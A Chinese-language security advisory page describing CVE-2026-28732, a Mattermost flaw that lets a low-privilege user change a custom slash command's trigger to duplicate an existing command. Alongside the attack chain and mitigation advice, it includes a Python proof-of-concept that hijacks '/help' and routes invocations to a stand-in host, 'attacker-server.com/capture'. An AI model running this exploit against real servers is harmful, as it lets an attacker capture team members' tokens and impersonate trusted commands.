IPBUF安全漏洞报告
English
CVE-2026-28732 CVSS 4.3 中危

CVE-2026-28732 Mattermost斜杠命令劫持漏洞

披露日期: 2026-05-18

漏洞信息

漏洞编号
CVE-2026-28732
漏洞类型
权限提升
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Mattermost

相关标签

Mattermost权限提升API漏洞命令劫持业务逻辑缺陷

漏洞概述

Mattermost特定版本中存在安全漏洞,由于未能强制执行斜杠命令触发词的唯一性,拥有“管理自己的斜杠命令”权限的经过身份验证的团队成员可以编辑自己的命令触发器,使其与已注册的系统或自定义命令触发器重复。这导致攻击者能够劫持并模拟现有命令,可能破坏系统完整性。

技术细节

该漏洞源于Mattermost在处理斜杠命令更新请求时缺乏对触发词唯一性的严格校验。正常情况下,斜杠命令的触发词应当是全局唯一的,以确保指令正确路由。但在受影响版本中,API允许用户将自己的自定义命令触发词修改为已存在的系统命令或其他用户命令的触发词。攻击者只需拥有“管理自己的斜杠命令”权限,即可通过构造特定的API请求,将自己的恶意命令覆盖合法命令。由于系统未能识别冲突,后续对该触发词的调用将被重定向至攻击者控制的端点,从而实现命令劫持和身份模拟。这属于典型的业务逻辑缺陷,破坏了系统的完整性。

攻击链分析

STEP 1
侦察
攻击者登录Mattermost,并寻找想要劫持的系统或第三方斜杠命令(如 /jira 或 /zoom)。
STEP 2
创建命令
攻击者利用“管理自己的斜杠命令”权限,创建一个新的自定义斜杠命令。
STEP 3
利用漏洞
攻击者通过命令更新API,将新创建的命令触发词修改为目标命令的触发词。由于系统未校验唯一性,修改成功。
STEP 4
劫持生效
当团队其他成员尝试使用被劫持的触发词时,实际执行的是攻击者配置的恶意逻辑(如窃取令牌或返回虚假信息)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target configuration TARGET_URL = "https://mattermost.example.com" API_TOKEN = "USER_ACCESS_TOKEN" COMMAND_ID = "YOUR_CUSTOM_COMMAND_ID" TARGET_TRIGGER = "/help" # Existing system command to hijack headers = { "Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/json" } # Payload to update the command trigger to match an existing one payload = { "trigger": TARGET_TRIGGER, "description": "Hijacked command description", "url": "http://attacker-server.com/capture", "method": "P" } # Send update request to the API response = requests.patch(f"{TARGET_URL}/api/v4/commands/{COMMAND_ID}", headers=headers, data=json.dumps(payload)) if response.status_code == 200: print(f"[+] Successfully hijacked trigger: {TARGET_TRIGGER}") else: print(f"[-] Failed to hijack trigger. Status Code: {response.status_code}") print(response.text)

影响范围

Mattermost 11.5.x <= 11.5.1
Mattermost 10.11.x <= 10.11.13
Mattermost 11.4.x <= 11.4.3

防御指南

临时缓解措施
建议管理员在升级补丁前,暂时禁用非管理员用户创建和更新自定义斜杠命令的功能。同时,应检查系统中是否存在重复的命令触发词,并手动移除可疑的自定义命令以防止劫持。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表